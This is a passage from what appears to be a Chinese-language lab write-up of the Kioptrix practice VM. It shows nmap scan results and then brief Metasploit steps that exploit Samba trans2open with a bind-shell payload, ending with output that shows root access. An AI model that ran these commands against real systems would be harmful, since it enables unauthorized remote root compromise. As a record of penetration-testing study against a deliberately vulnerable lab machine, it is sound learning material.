      |_http-title: 400 Bad Request
      | sslv2: 
      |   SSLv2 supported
      |   ciphers: 
      |     SSL2_RC4_64_WITH_MD5
      |     SSL2_RC4_128_WITH_MD5
      |     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
      |     SSL2_DES_192_EDE3_CBC_WITH_MD5
      |     SSL2_RC4_128_EXPORT40_WITH_MD5
      |     SSL2_RC2_128_CBC_WITH_MD5
      |_    SSL2_DES_64_CBC_WITH_MD5
      1024/tcp open  status      1 (RPC #100024)
      MAC Address: 00:0C:29:11:17:59 (VMware)
      Device type: general purpose
      Running: Linux 2.4.X
      OS CPE: cpe:/o:linux:linux_kernel:2.4
      OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
      Network Distance: 1 hop
    
      Host script results:
      |_clock-skew: 1m49s
      |_smb2-time: Protocol negotiation failed (SMB2)
      |_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    
    
  • 漏洞发现

    
      对Samba漏洞进行利用
    
  • 漏洞利用

    
      msf
    
      search linux/samba/trans2open
    
      set payload linux/x86/shell_bind_tcp
        
      然后调好rhost  lhost这些运行
    
      id
      uid=0(root) gid=0(root) groups=99(nobody)
    
    

启发

  • 对于在kali或者msf里面搜索漏洞然后利用的内容还是要学习

——————-2022-08-04———————